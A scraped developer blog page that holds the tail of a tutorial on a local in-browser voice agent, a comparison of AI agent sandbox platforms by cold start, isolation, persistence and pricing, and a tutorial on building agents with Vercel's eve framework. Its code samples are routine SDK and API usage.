That single guard clause prevents the agent from hearing itself. Without it, SpeechSynthesis output plays through the speakers, the mic picks it up, Whisper transcribes it, and the LLM ends up responding to its own voice. On laptops with speakers positioned right next to the internal microphone, this feedback loop triggers instantly and can be brutal to debug if you don’t block the input at the gate.

Wiring the transitions

Attach state transitions directly to the event handlers where the work actually happens, rather than relying on a separate coordinator polling for status changes:

// End of user speech detected (silence threshold hit)
function onUserFinishedSpeaking(transcript) {
  controller.transition(STATES.THINKING);
  llmWorker.postMessage({ messages: buildMessages(transcript) });
}

// First sentence ready from the LLM
function onFirstSentenceReady(sentence) {
  controller.transition(STATES.SPEAKING);
  speechQueue.add(sentence);
}

// Speech queue fully drained
function onSpeechQueueEmpty() {
  controller.transition(STATES.LISTENING);
}

onSpeechQueueEmpty should be triggered directly by the queue itself, never by an arbitrary timer or guess. Update the SpeechQueue class from the TTS section to fire a callback whenever next() finds no remaining text to process:

async next() {
  if (this.queue.length === 0) {
    this.speaking = false;
    this.onEmpty?.(); // notify the controller
    return;
  }
  this.speaking = true;
  const text = this.queue.shift();
  await speakSentence(text, this.voice);
  this.next();
}

Handling interruptions within the state machine

The interruption mechanism from the TTS section slots directly into this flow. If the user begins speaking while the controller is in the THINKING or SPEAKING state, treat it as a deliberate user interrupt rather than background noise to throw away.

function onUserStartedSpeaking() {
  if (controller.state === STATES.LISTENING) return; // already listening, nothing to interrupt

  speechQueue.clear();
  llmWorker.postMessage({ type: 'abort' });
  controller.transition(STATES.LISTENING);
}

Detecting when the user starts speaking while the mic is “off” presents a separate challenge, since Whisper isn’t running during the THINKING or SPEAKING states. A lightweight Voice Activity Detector (VAD) that monitors raw audio energy levels, rather than running full transcription, works perfectly here. It doesn’t need to parse words; it simply flags when sound crosses a defined volume threshold.

With the state machine controlling the mic and every transition bound to an actual runtime event rather than an arbitrary timer, the loop runs reliably: the agent listens, thinks, speaks, and cleanly hands control back at the exact right moment.

Where can you see the complete voice AI agent implementation?

Every piece detailed above comes together in the accompanying CodePen demo: the VAD worklet, both Web Workers, the custom speech queue, and the state machine, all organized inside a single reference file.

To try it out, open the demo in a WebGPU-capable browser (such as desktop Chrome or Edge). The initial run downloads roughly 400MB of model weights, which are cached locally for subsequent visits. Grant microphone permissions, wait for the models to finish loading into VRAM, and start talking.

See the Pen
Real-time voice agent by Miracle Jude (@JudeIV)
on CodePen.

Two things differ from the code in this article, both deliberate. The workers are created from Blob URLs rather than separate files, since CodePen serves a single document. And the demo uses energy-based voice activity detection to segment utterances instead of fixed 3-second chunks, which is more reliable for a live conversation than transcribing on a timer.

Conclusion

The entire pipeline runs locally on your device: Whisper handles transcription, a quantized LLM generates responses, and SpeechSynthesis provides playback, all powered by Transformers.js with WebGPU acceleration (and WASM as a CPU fallback). No audio or text ever leaves the browser tab.

The core tradeoff here is between local capability, complete privacy, and operational latency:

Capability: A 0.5B or 1.5B parameter model cannot match a server-hosted, GPT-4-class API in reasoning quality or zero-shot breadth
Privacy: Zero network requests mean zero data leakage, making this architecture completely compliant by default and functional offline after the initial model load
Latency: While WebGPU delivers snappy inference on dedicated hardware, the WASM fallback runs roughly ten times slower, which, for a conversational voice agent, is the difference between a natural back-and-forth and an unusable, frustrating delay

Before choosing an in-browser WebGPU pipeline over a traditional server-based backend, make sure you clearly weigh those hardware requirements against your application’s privacy and latency thresholds.

Comparing AI agent sandbox platforms: E2B, Modal, Daytona, and more

Ikeh Akinyemi — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Five dimensions separate AI agent sandbox platforms from one another: cold start, isolation, session persistence, SDK ergonomics, and pricing. No platform wins all five. The platforms that claim to do everything well usually optimize for one or two dimensions and accept tradeoffs everywhere else.

For most agents, one dimension matters more than the rest. A coding assistant that spins up an environment on every edit depends on cold start. An agent that runs untrusted user code depends on isolation. A research agent that holds a dataset across 20 tool calls depends on persistence. The right way to choose is to identify the dimension where a wrong decision would break the agent, the security model, or the budget. That becomes your shortlist, and the other dimensions become filters.

The matrix below compares 15 sandbox platforms across those dimensions, plus GPU support and deployment model.

Platform	Cold start	Isolation	Persistence	SDK	Pricing model	GPU	Deployment
E2B	717ms create / 662ms resume (measured)	Firecracker microVM	Pause/resume, snapshot	Python-first, TS	Per-sec full duration, $150/mo floor	No	Managed, BYOC (enterprise)
Daytona	742ms create / 1254ms resume (measured)	Docker container by default; Kata/Sysbox opt-in	Fork, pause/resume, snapshot	Python-first, TS	Per-sec, same rate as E2B	Yes	Managed, self-host
Modal	2437ms create / 2347ms snapshot boot (measured)	gVisor	Filesystem/memory snapshot; no in-place resume	Python-first	Per-sec active, scale to zero	Yes	Managed
Blaxel	2824ms create / 1924ms resume (measured)	microVM	Perpetual hibernation, snapshot	Async Python, TS	Memory-tier per-sec, zero idle	No	Managed
Vercel	1852ms create / 3333ms resume (measured)	Firecracker microVM	Persistent by default, snapshot	TS-first, Python	Active CPU, memory full wall-clock	No	Managed (iad1)
Northflank	~sub-sec (vendor)	Kata microVM + gVisor, per workload	Configurable, snapshot	REST/SDK	Per-sec, lowest published PaaS rate; BYOC	Yes	Managed, BYOC, self-host
Fly Sprites	~300ms checkpoint (vendor)	Firecracker microVM	Persistent-first, checkpoint	TS/SDK	Per-sec, nothing when idle	Limited	Managed
Cloudflare	Isolate in ms (vendor) / container start	Sandbox SDK = container; Worker Loader = V8 isolate	Container persistence; isolate ephemeral	TS-first	Active CPU + Workers/DO + $5/mo	No	Managed (edge)
Runloop	~25ms resume (vendor)	Dual-layer microVM + container	Snapshot, suspend/resume, zero idle	Python/TS	$0.108/CPU-hr + $0.0252/GB-hr, $250/mo Pro	No	Managed, VPC
CodeSandbox SDK	1-3s VM clone (vendor)	Firecracker microVM	Memory snapshot, live VM cloning	TS-only	Usage tiers, $170/mo Scale	No	Managed
AWS Lambda MicroVMs	Near-instant snapshot resume (vendor)	Firecracker microVM	Snapshot, suspend/resume ≤8h	AWS API/SDK	Per-sec vCPU+RAM, ceases when suspended	No (ARM64)	Managed (AWS, 5 regions)
Google Agent Sandbox	Sub-second create (vendor)	gVisor (GKE-native)	Stateful TTL ≤14 days	GKE/SDK	GKE-based; billing from July 1, 2026	Via GKE	Managed (GKE), self-host
OpenSandbox	Backend-dependent	Pluggable: gVisor / Kata / Firecracker	Backend-dependent	Python/TS/Go/Java	Self-host, no platform fee	Backend-dependent	Self-host (Docker/K8s)
Microsandbox	Sub-200ms (vendor)	libkrun microVM	Persistent or ephemeral	Python/TS, MCP	Self-host, no platform fee	No	Self-host, local
AIO Sandbox	Container start	Docker, pluggable secure runtime	Container persistence	Multi-language, MCP	Self-host, no platform fee	No	Self-host (Docker)

The following sections look at each dimension in turn. This article focuses on code-execution sandboxes: the environments where an agent runs code, shell commands, and package installs behind an API.

Cold start

Cold start is really two measurements that vendors often blur together: create-from-scratch and resume-from-standby. Create-from-scratch provisions a fresh sandbox. Resume-from-standby brings back a paused one. Those numbers can diverge, sometimes in opposite directions across platforms.

The isolation primitive sets the floor. A microVM boots a real guest kernel, which usually costs more than a container that shares the host kernel. A container usually costs more than a V8 isolate inside an already running process. No amount of tuning can move a platform below what its primitive allows.

We measured directly rather than relying on published figures. The harness created a sandbox, ran a command, confirmed that the command executed inside the sandbox, paused the sandbox, then timed the resume to the first command. “Ready” means the command actually executed, not that the API acknowledged the request.

E2B was the fastest and most consistent in this benchmark, at 717ms to create and 662ms to resume. Daytona created almost as quickly, at 742ms, but resumed more slowly at 1254ms because its stop-then-start flow rebuilds more than a memory-preserving pause. Vercel created in 1852ms but resumed in 3333ms, making it the one platform where resume took longer than fresh create despite its persistence-by-default model. Modal and Blaxel had the slowest create times, at 2437ms and 2824ms respectively, though both recovered somewhat on resume.

There is an important caveat: resume does not mean the same operation everywhere. E2B and Daytona pause and resume in place. Vercel resumes its persistent sandbox. Blaxel performs a real standby-to-active wake, which we forced past its auto-standby window before timing. Modal has no in-place resume, so its 2347ms figure is snapshot-boot time, not pause/resume time.

Cold start should drive your decision when the agent creates or resumes environments frequently and a human is waiting on the result. Examples include a coding assistant that spins up an environment per interaction or an eval pipeline that runs thousands of short-lived sandboxes. In those workloads, E2B’s 717ms create time versus Blaxel’s 2824ms create time compounds across every invocation.

Isolation model

Isolation determines your security ceiling. These platforms occupy four tiers, based on where the boundary sits relative to the host kernel. Configuration can harden a platform, but it cannot fully move the platform out of its underlying tier.

Hardware microVM: Each sandbox gets its own guest kernel behind a virtualization boundary, with Firecracker (E2B, Vercel) and libkrun (Microsandbox) as common implementations. A kernel exploit inside the sandbox should not reach the host, which makes this the strongest boundary in the category.
gVisor: gVisor sits one tier down. Its user-space kernel, called the Sentry, intercepts syscalls and re-implements them in user space so the application does not call the host kernel directly. The attack surface shrinks to the Sentry itself. Modal uses gVisor, and Northflank offers it alongside microVM isolation.
Shared-kernel container: Namespaces and cgroups separate workloads, but every sandbox shares the host kernel. A kernel exploit can break the boundary. Daytona runs Docker by default, with stronger options available through configuration. This is reasonable for trusted code but riskier for untrusted model output or user-submitted code. An agent that reaches a mounted Docker socket can often escape most container isolation.
V8 isolate: Cloudflare’s Worker Loader runs code in an isolate inside a running process. It starts in milliseconds, but it isolates only at the process level, which leaves a larger attack surface than a hardware VM. Cloudflare’s container-based Sandbox SDK is a separate and stronger product.

The BeyondTrust research on AWS AgentCore shows why the tier label is not the whole story. AgentCore runs on Firecracker, and the compute isolation itself was not broken. The failure was one layer above that. AgentCore’s “Sandbox” mode promised no external access but still permitted outbound DNS A and AAAA queries. Researchers built a command-and-control channel over DNS and used the interpreter’s over-broad IAM role to read S3 buckets with PII and credentials. AWS first called this intended functionality, then remediated DNS tunneling on April 15, 2026.

Isolation is a stack, not a checkbox. The microVM-versus-container question sets the floor, but it is not the whole answer. Above the compute boundary, you still need to know what the sandbox permits by default on the network, whether it filters DNS, what its metadata service exposes, and how far its own credentials reach. When running untrusted model output, securing your full-stack projects from NPM attacks is one more layer that belongs in the same threat model.

Isolation should drive your decision when the code is untrusted, generated from user input, or submitted directly by users. Default to a microVM tier and treat anything weaker as deliberate risk acceptance.

Session persistence

Persistence determines whether a stateful agent can continue real work or has to rebuild its world on every invocation. There are four main persistence models:

Ephemeral: The sandbox exists for one execution and is then discarded. This is a poor fit for an agent that clones a repo, installs dependencies, and then works across 20 tool calls.
Pause/resume: The full state is preserved, including memory and filesystem, and the same instance comes back later. E2B does this through beta_pause() and reconnects to the same sandbox ID.
Snapshot/fork: State is captured as a reusable artifact that can boot new sandboxes. Because one snapshot can seed many sandboxes, an agent can fork a prepared environment into parallel branches. Modal, Daytona, and Vercel expose this model.
Perpetual hibernation: The sandbox stays alive indefinitely but bills nothing while it sleeps. Blaxel and Sprites build around this model, which means no teardown, no rebuild, and near-zero idle cost.

Persistence and idle billing are two sides of the same decision. If a sandbox holds state between invocations, it has to exist between invocations, and someone pays for that time. The persistence model is therefore also a cost model, which the pricing section covers later.

Our benchmark measured the resume side. E2B resumed in 662ms, Blaxel woke from standby in 1924ms, Vercel resumed in 3333ms, and Modal’s snapshot boot took 2347ms. These are the delays a stateful agent pays every time it comes back.

Here is pause/resume in practice using E2B. The sandbox preserves full state across a gap where the sandbox costs nothing:

from e2b import Sandbox

# First invocation: set up expensive state, then pause.
sbx = Sandbox.create()
sbx.commands.run("git clone https://github.com/example/repo /work")
sbx.commands.run("cd /work && pip install -r requirements.txt")
sbx.commands.run("echo 'analysis_step_1_complete' > /work/state.txt")

sandbox_id = sbx.sandbox_id
sbx.beta_pause()   # memory + filesystem frozen, billing stops

# ...minutes or hours later, a separate process, a later agent turn...

# Second invocation: reconnect to the same sandbox, state intact.
resumed = Sandbox.connect(sandbox_id)
result = resumed.commands.run("cat /work/state.txt")
print(result.stdout)          # -> analysis_step_1_complete
# repo is still cloned, deps are still installed, no rebuild
resumed.kill()

The clone and install do not run again because the agent picks up where it stopped. That is the value of persistence.

Snapshot/fork solves a different problem: capture state once, then spawn many copies. Modal’s snapshot_filesystem() returns an image, and every sandbox booted from it starts from the same prepared state:

import modal

app = modal.App.lookup("agent-work", create_if_missing=True)
base = modal.Image.from_registry("python:3.13-slim")

# Prepare an environment once.
sb = modal.Sandbox.create(app=app, image=base)
sb.exec("bash", "-c", "pip install pandas numpy scikit-learn")
prepared = sb.snapshot_filesystem()   # reusable image
sb.terminate()

# Fork three parallel sandboxes from the same prepared state.
branches = [
    modal.Sandbox.create(app=app, image=prepared)
    for _ in range(3)
]

for i, branch in enumerate(branches):
    branch.exec("bash", "-c", f"echo 'running trajectory {i}'")

# Each branch explores a different approach from the same starting point.
for branch in branches:
    branch.terminate()

Pause/resume answers “can my agent continue?” Snapshot/fork answers “can my agent branch?” A long-running session wants the first. An eval harness running many trajectories from a fixed baseline wants the second.

Persistence should drive your decision when work spans invocations and losing state means redoing expensive setup. It matters less for stateless, single-shot execution, where an ephemeral sandbox is simpler and cheaper.

SDK ergonomics

SDK ergonomics determine how much infrastructure thinking leaks into your application code. The five platforms we tested fall into three broad shapes.

The first shape is create-run-teardown with almost no ceremony. E2B and Daytona both give you a sandbox from a single call, let you run a command, and then let you tear it down:

# E2B
from e2b import Sandbox

sbx = Sandbox.create()
result = sbx.commands.run("echo hello")
print(result.stdout)
sbx.kill()

# Daytona
from daytona import Daytona, DaytonaConfig

daytona = Daytona(DaytonaConfig(api_key="..."))
sandbox = daytona.create()
result = sandbox.process.exec("echo hello")
print(result.result)
daytona.delete(sandbox)

They are nearly identical in shape, except for naming friction: E2B returns .stdout, while Daytona returns .result through a .process namespace.

The second shape requires more setup. Modal needs an App and Image first because sandboxes are one primitive inside a broader serverless platform:

# Modal
import modal

app = modal.App.lookup("my-app", create_if_missing=True)
image = modal.Image.from_registry("python:3.13-slim")

sb = modal.Sandbox.create(app=app, image=image)
p = sb.exec("bash", "-c", "echo hello")
print(p.stdout.read())
sb.terminate()

That preamble is what lets Modal attach GPUs, define images in code, and scale to thousands of jobs. It is worth it if you need those capabilities, but it is extra friction if you only need a sandbox.

The third shape is Cloudflare, which does not run as a standalone script. Its Sandbox SDK lives inside a Worker and requires a Dockerfile, a wrangler.jsonc binding, and local Docker for development:

// Cloudflare — inside a Worker, not a standalone script
import { getSandbox } from "@cloudflare/sandbox";
export { Sandbox } from "@cloudflare/sandbox";

export default {
  async fetch(request: Request, env: Env) {
    const sandbox = getSandbox(env.Sandbox, "my-sandbox");
    const result = await sandbox.exec("echo hello");
    return new Response(result.stdout);
  },
};

You are not calling a sandbox API here. You are deploying a Worker that contains one. That feels natural for a team already on Workers, but it is a platform commitment for everyone else.

Vercel sits between these models. You get a single Sandbox.create() call like E2B, but off-platform it requires three auth values: the team ID, the project ID, and a token. If you’re already building on Vercel’s ecosystem, understanding Vercel Eve for AI agents gives useful context on how the platform handles agentic workloads more broadly.

Language support also matters. E2B, Daytona, and Modal are Python-first with TypeScript support alongside. Cloudflare and Vercel are TypeScript-first. Blaxel ships both, but its Python SDK is async-only, so every call is an await. Match the SDK’s primary language to your stack or you may inherit the second-class surface.

There are also abstraction layers. ComputeSDK exposes one TypeScript API over nine providers, and VibeKit does the same for coding agents across E2B, Daytona, Modal, and Fly. Abstraction makes sense when avoiding lock-in matters. It is less useful when you need a platform’s distinctive features because the layer usually exposes the common denominator. Teams building with MCP-compatible sandboxes may also find value in reviewing the top MCP servers for AI projects when deciding how their agent’s tools connect to execution environments.

SDK ergonomics should drive your decision when the team is moving fast or may switch providers. It matters less once you have already committed to a platform for isolation, persistence, GPU, or pricing reasons.

Pricing model

Pricing determines whether a prototype survives production volume. The trap is comparing per-hour rates because the rate rarely determines the bill. The billing model does.

Four questions matter:

Do you pay per second of wall-clock time or only for active CPU?
Is idle time charged?
Is there a subscription floor?
How is memory billed relative to compute?

The active-CPU question separates these platforms most clearly. E2B and Daytona charge CPU and memory for the full duration a sandbox is alive, at $0.0504/vCPU-hr and $0.0162/GiB-hr, billed per second (rates from vendor pages and independent comparisons, April to June 2026). Vercel bills CPU at $0.128/vCPU-hr for active time only, with memory at $0.0212/GB-hr for the full wall-clock. Modal drops compute charges to zero when idle. Blaxel charges nothing for compute in standby and prices by memory tier, with its 4GB tier at $0.1656/hr. Fly Sprites also charges nothing while idle. Cloudflare bills active CPU at $0.072/vCPU-hr, on top of Workers requests, Durable Objects, and a $5/month base.

These differences invert the ranking by workload shape.

Consider a bursty interactive agent running 30,000 sessions a month. Each sandbox stays alive for about five minutes, uses CPU for only 30 seconds, and carries no state between sessions. At 2 vCPU and 4GB, Modal lands near $36 because it charges for almost no idle CPU. Vercel follows at around $276 because active-CPU billing skips the waiting. E2B, Daytona, and Blaxel all cluster near $414 because full-duration billing charges for every second of that wait. In this scenario, active-CPU platforms win by an order of magnitude.

A long-running stateful agent reorders the comparison. Picture 50 agents each holding one persistent sandbox, active for two hours a day and idle for the other 22, with state retained for instant resume. Modal looks cheapest at around $426, but only because the model counts active compute and not the cost of rebuilding state on every wake. E2B, Daytona, and Blaxel land near $533 for active compute plus near-zero idle storage while genuinely preserving state. Vercel becomes the most expensive at roughly $3,800 because keeping a sandbox resident for instant resume means its memory bills across all 24 hours. The platform that wins the first scenario loses the second on the same memory-billing rule.

Pricing should drive your decision when the agent runs at volume and you know the workload shape. It matters less for prototypes and low-volume internal tools where free tiers or small bills absorb the load. Product managers evaluating sandbox costs at scale may find it useful to apply a technical debt register to track the long-term cost implications of platform lock-in decisions.

Conclusion

There is no universal best sandbox platform. There is only the best sandbox for your binding constraint. Cold start decides interactive agents. Isolation decides untrusted code. Persistence decides stateful work. The billing model decides cost at scale, and it can flip the ranking by workload shape.

Start by finding the dimension where a wrong choice would break the agent or the budget. Let that dimension create the shortlist, then filter on the rest.

Trust your own numbers over marketing copy. Our measured cold starts ran above vendor claims because vendors often measure warm, in-region paths while real agents pay for setup, distance, and the round trip. Pricing inverted by workload. AgentCore showed that strong compute isolation is not enough if the network layer leaks. Model your workload against the billing structure, verify the isolation boundary that matters for your threat model, and your decision framework will outlast any one platform. For teams building agentic systems more broadly, context rot in AI agents is a related performance problem worth addressing alongside sandbox selection. If you’re evaluating how human-in-the-loop AI fits into your agentic architecture, the ownership and oversight model you choose will also shape which sandbox features matter most.

How to use Vercel eve: The Next.js framework for AI agents

David Omotayo — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Claude Code and Codex are excellent AI agents for coding and general tasks, but there comes a time when you’ll need a custom agent for specific workflows. At that point, it makes sense to build your own. It will not only be more efficient, but also save tokens and improve accuracy. There’s just one problem: building a custom harness isn’t the most straightforward thing to do.

A few weeks back, Vercel open-sourced eve, its in-house AI framework for building and running agents. According to Vercel, eve powers more than a hundred of its agents in production today.

Eve was created to improve the process of building, running, and scaling AI agents using familiar patterns from modern frontend frameworks like Next.js and Nuxt, where the building blocks are file-based and modular.

In this guide, we’ll explore how eve differs from the traditional way of building an AI agent and how it works by creating a basic agent. By the end of this article, you’ll understand the building blocks of eve and know how to build your own AI agent with it.

What is Vercel eve?

The AI ecosystem is still the Wild West, and building agents from the ground up often means stitching together different pieces until something works. It’s similar to frontend development before libraries and frameworks like React and Next.js came along and standardized how web applications are built. That’s the gap eve aims to fill.

In other words, eve is an agent framework designed to simplify how developers build and deploy production-ready AI agents. It provides a structured architecture with runtime capabilities, deployment options, and production infrastructure for building agentic software out of the box.

The biggest idea behind eve isn’t a new prompting technique or model. It’s that building an agent should feel like building a Next.js app: organize your agent into files and folders, and let the framework handle the tedious parts.

How does Vercel eve work?

Eve is designed around a filesystem-first architecture where each file represents a component of the agent. Instead of writing complex boilerplate, developers can structure their entire agent using directories and files, where behaviors and skills are defined in .md using Markdown instructions, and tools and specialized subagents are added as TypeScript files.

A basic eve project structure might look like this:

agent/
├── instructions.md
├── agent.ts
├── tools/
│   ├── search.ts
│   └── github.ts
├── skills/
│   └── research.md
├── subagents/
└── channels/

At build time, eve automatically detects these components and exposes them to the model without requiring additional boilerplate to register them. This way, you can focus on what your agent does rather than how it does it.

What ships in the box?

The framework comes with several production-oriented capabilities right out of the box that eliminate the infrastructure setup usually associated with building AI agents from scratch. These include:

Resumable sessions

Unlike stateless requests, eve relies on durable execution and state persistence. The framework remembers customer sessions across turns and checkpoints its steps. If a step is expensive or requires human approval, the agent can pause the task, wait for feedback, and resume exactly where it left off without losing context.

Isolated sandbox

AI agents often write or execute code that should not be trusted inside your main application runtime. Eve handles this by giving every agent its own isolated environment. It runs agents in hardware-isolated microVMs on the server and uses Docker locally. If the agent needs to clone a repo, run shell commands, or read and write files, it does so safely within this disposable sandbox without compromising your core system.

Human-in-the-loop approval

Eve allows any action to be set to require approval. This way, the agent pauses and waits indefinitely without wasting compute, and when the request is approved, eve continues from where it left off.

Observability and extensions

Another capability is support for observability features based on OpenTelemetry, where every model call, tool invocation, and sandbox command is recorded as a trace that can be exported to monitoring platforms or viewed through Vercel’s observability interface.

Channels and connections

Eve makes it easy to deploy agents across multiple communication channels such as GitHub, Slack, Salesforce, or Notion without changing the core implementation of your agent. This allows you to use the same agent across different channels.

It also provides built-in support for connecting agents to external services through MCP servers or APIs from services such as Discord, Teams, and Notion. Developers can also add providers through custom adapters.

How to get started with Vercel eve?

Before getting started with eve, you need to have Node.js installed on your computer. It must be at least version 24 or higher, and you also need your model credentials, such as API keys.

That said, the quickest way to get started with eve is by running the following command:

npx eve@latest init my-agent

This command will create a new eve project, install the necessary dependencies like Vercel’s ai package and zod, and start the development server.

But before starting the server, eve prompts you to choose how it should authenticate with an AI model provider. You can either use Vercel’s AI Gateway, which provides a unified layer for accessing hundreds of AI models from different providers, or connect directly through other providers.

If you choose to authenticate using the first option, which is authenticating with AI Gateway, eve will connect to a Vercel project on your Vercel account and use it to authenticate whichever model you connect with through the gateway.

The second option is almost the same, except eve expects you to already have an AI Gateway API key.

You’ll need to enter something like:

AI_GATEWAY_API_KEY=vg_xxxxxxxxxxxxxxxxx

The last option, other providers, lets you provide your model’s API key and allows eve to connect directly to a provider like OpenAI or Anthropic. However, if you choose this option, you will need to create an environment variable for your provider’s key in the .env.local file.

Then, set the model to the provider whose key you provided in the agent.ts file. For example, if you want to use DeepSeek, you would set the model as follows:

import { deepseek } from "@ai-sdk/deepseek";
import { defineAgent } from "eve";


export default defineAgent({
  model: deepseek("deepseek-chat"),
});

By default, models are specified using a string. Typically, this is all you need when using Vercel’s AI Gateway, which supports hundreds of models out of the box and simplifies configuration. However, in this example, we are using a provider-specific SDK package from the Vercel AI SDK.

While the core ai package is installed during the initialization process, it does not include every individual provider package by default. You will need to install the specific provider’s package separately. In this case, we are using DeepSeek, so you must install its corresponding package:

npm install @ai-sdk/deepseek

You can check out Vercel’s AI SDK documentation to see the available AI SDK providers.

Once you have completed the setup, the development server will spin up automatically and launch the interactive terminal UI, where you can prompt your agent right away, as shown in the GIF below.

If the development server doesn’t start automatically, you can start it by running the following command:

npm run dev

Getting to this point should take less than 5 minutes. If you’ve built agents before, you know how much work is usually required to get here. With Eve, all it takes is running a command and providing your model keys.

How to install Vercel eve in an existing project?

To set up eve in an existing application, you have two options: using the initialization command provided by Vercel or setting it up manually.

To set it up manually, the first thing you need to do is add the following to your project’s package.json file to declare a compatible Node.js runtime:

{
  "engines": {
    "node": "24.x"
  }
}

Then, install eve and its dependencies, the ai and zod packages, using the following command:

npm install eve@latest ai zod

After the installation is complete, you can create an agent/ directory in the root folder of your project and add the necessary project files. We’ll look at these in the next section.

Setting it up manually is useful for understanding how Eve connects to your application, but it is quicker to use the initializer because all you have to do is run the following command:

eve init .

This takes care of everything you would otherwise have to do manually, including creating the agent/directory with a minimal agent configuration.

How to build your first AI agent with Vercel eve?

Now that your eve project is set up, you can begin creating agents. First, however, you need to understand the project structure, since it’s the foundation of eve. In this section, we will examine the function of each folder and file and learn how to use them to build your first eve agent.

`agent.ts`

The first file you want to work on is the agent.ts file. This is the core of an eve project and where you set the runtime configuration of the agent. It is where you choose an AI model, set system options, and customize the overall agent runtime using the defineEngine function:

import { defineAgent } from "eve";


export default defineAgent({
  model: "anthropic/claude-opus-4.8",
});

The configuration above uses Anthropic’s claude-opus-3.5 model. Note that if you chose a different provider during initialization, such as the DeepSeek integration we demonstrated earlier, your configuration might look a bit different.

However, if you don’t plan to choose a model or add any additional configuration, you can omit the `agent.ts` file, and eve will default to claude-sonnet-5.

For a full list of configuration options, refer to the official documentation

`instructions.md`

The next thing you want to do is set a system prompt, which you can do by editing the instructions.md file. This is where you define the instructions for your agent’s overall behavior, rules, and persona. If your agent is designed to function as a research analyst, your instructions might look like this:

You are a startup research analyst.


Your task is to discover companies related to the user's request and summarize them objectively.


Prioritize:


- Recently launched startups
- Funding announcements
- Product launches
- Team size
- Market category
- Unique differentiators
- Target customers


...

Eve automatically injects these instructions into every model call, ensuring your agent maintains its persona and follows your rules consistently.

`tools/*.ts`

The tools/ folder is where you define your agent’s capabilities and the tools it has at its disposal. You can create a tool by adding a TypeScript (.ts) file to this folder and using eve’s defineTool function to define the tool’s description, inputSchema (validated with Zod), and execute() function.

import { defineTool } from "eve/tools";
import { z } from "zod";


export default defineTool({
  description: "Retrieve information about a GitHub repository.",


  inputSchema: z.object({
    owner: z.string().describe("Repository owner"),
    repo: z.string().describe("Repository name"),
  }),


  async execute({ owner, repo }) {
    const response = await fetch(
      `https://api.github.com/repos/${owner}/${repo}`,
    );


    if (!response.ok) {
      throw new Error("Repository not found.");
    }


    const repository = await response.json();


    return {
      name: repository.name,
      description: repository.description,
      stars: repository.stargazers_count,
      forks: repository.forks_count,
      language: repository.language,
      url: repository.html_url,
    };
  },
});

In the example above, we created a GitHub tool that retrieves information about specific repositories.

Any TypeScript file placed in the tools/ directory is automatically discovered, so no manual registration is required. Eve uses the filename as the tool’s name, which is how the model identifies and invokes it. For example, if you name your file github.ts, the model will recognize it as github when it needs to call it.

├── tools/
│   └── github.ts

This especially showcases the flexibility that eve offers. Most frameworks would require you to register these tools before they can be functional, with a lot of preceding boilerplate code.

Now, if we ask the agent something like, “Tell me about the Vercel AI SDK repository”, it will return detailed information about the repository on GitHub, as shown in the image below.

If you want to require approval each time the agent attempts to invoke a tool, you can do so by adding an approval field to the tool definition like so:

export default defineTool({
  description: "Retrieve information about a GitHub repository.",


  inputSchema: z.object({
...
  }),


  approval: always(),


  async execute({ owner, repo }) {
...
    );


    return {
...
    };
  },

Now, whenever the agent attempts to invoke the tool, you will see a prompt requesting approval before execution proceeds.

`skills/*.md`

One limitation of building an agent from scratch is that the system prompt tends to bloat over time and overload the agent. Eve mitigates this by letting you create Markdown files with specific instructions and workflows in the `skills/` folder. Your agent only loads these files into context when they’re relevant.

For example, if you want to add an SQL skill to your agent’s knowledge base, you simply move the skill’s Markdown file into the `skills/` folder:

agent/skills
└── sql.md

Now, eve automatically knows your agent has SQL expertise. Whenever it needs to work on anything SQL-related, this skill gets loaded into the context.

`subagents/*`

Subagents are independent child agents that your root agent can delegate focused tasks to. They run the task independently, then return the results to the root agent.

So when your agent’s tasks get too large and become prone to errors, you can create subagents in the subagents/ folder to take the workload off your main agent.

Each subfolder inside the subagents/ folder is a subagent with the same structure as the parent directory. This means it has its own instructions, tools, and execution environment.

agent/subagents/researcher/
├── instructions.md
├── agent.ts
├── tools/

The files and folders we’ve covered so far are the core agent definitions, and they’re all you need to build a full-fledged AI agent. The rest, however, handles the production and infrastructure layers. These include:

/channels/*: This is where you configure where you want your agent to be deployed and the channels in which users can interact with your agent (e.g., Slack, Discord, Microsoft Teams, or custom HTTP APIs)
/connections/*: This is where you connect your agent to external services via MCP servers or any HTTP API (e.g., Slack, Discord, Microsoft Teams, or custom HTTP APIs)
/schedules/: This holds configurations for cron jobs or automated tasks that trigger the agent to run recurring background processes (e.g., daily research or clean-up tasks)
/sandbox/: This is where you define eve’s sandbox config when you want to customize the isolated microVM used by the agent to execute code securely

How is Vercel using eve in production?

Eve is already used internally at Vercel across a range of production use cases that you can build around too.

d0: This is a data analyst agent Vercel used internally to answer thousands of questions monthly, and it scopes every query to the asker’s permission
Autonomous SDR: This is an AI sales representative that works new leads and follows up on its own. According to Vercel, it costs about $5,000/year to run, returning 32× its cost
Athena: This is a sales cockpit AI agent that answers pipeline and sales forecast questions by querying Snowflake and Salesforce using natural language
Vertex: This is a customer support engineer agent that handles tickets across the help center, documentation, and Slack. It reportedly resolves 92% of support tickets automatically, escalating only the remainder to human support engineers
draft0: This is a content agent, and it is used throughout the company to review drafts before they reach the content team. It performs an initial editorial pass, identifies obvious issues, and analyzes what an article is about so editors can focus on higher-value feedback

The Vercel team has shipped even more with Eve, but these examples should give you a solid sense of what’s possible.

Vercel eve vs. traditional agent stacks: Key differences

There are several ways eve supercharges agent development compared to traditional stacks, but these are the biggest distinctions:

Traditional agent development	Building with eve
Manually configure the project structure.	Start with eve `init` or install Eve into an existing project.
Write and maintain a large system prompt in code.	Store instructions in `instructions. md` for easier editing and versioning.
Register every tool manually with the agent.	Drop a tool into `agent/tools/` and Eve discovers it automatically.
Load all context into the prompt, regardless of relevance.	Organize knowledge into `skills/`, and Eve loads only the relevant skills.
Execute AI-generated code in your own environment or build a sandbox yourself.	AI-generated code runs in an isolated sandbox by default.
Create your own system for coordinating multiple agents.	Organize specialist agents under `subagents/` and let Eve handle delegation.
You build an agent from low-level building blocks.	You describe your agent’s capabilities, and Eve provides the runtime and infrastructure.

Conclusion

If you have experience with the Vercel AI SDK and tool calling, you’ll appreciate how eve abstracts away much of the orchestration you currently write manually. It doesn’t try to replace the SDK. Instead, it gives you a higher-level runtime and conventions to ship production-ready agents.

We’ve covered enough here to build your first agent. The examples were basic, but complexity doesn’t change the process with eve. The building steps are the same whether your agent is basic or advanced.

However, there’s a lot more to eve than this article could cover, such as evals and more. I encourage you to check out the documentation to understand the framework better.

#nextjs

How to implement JWT authentication in NestJS

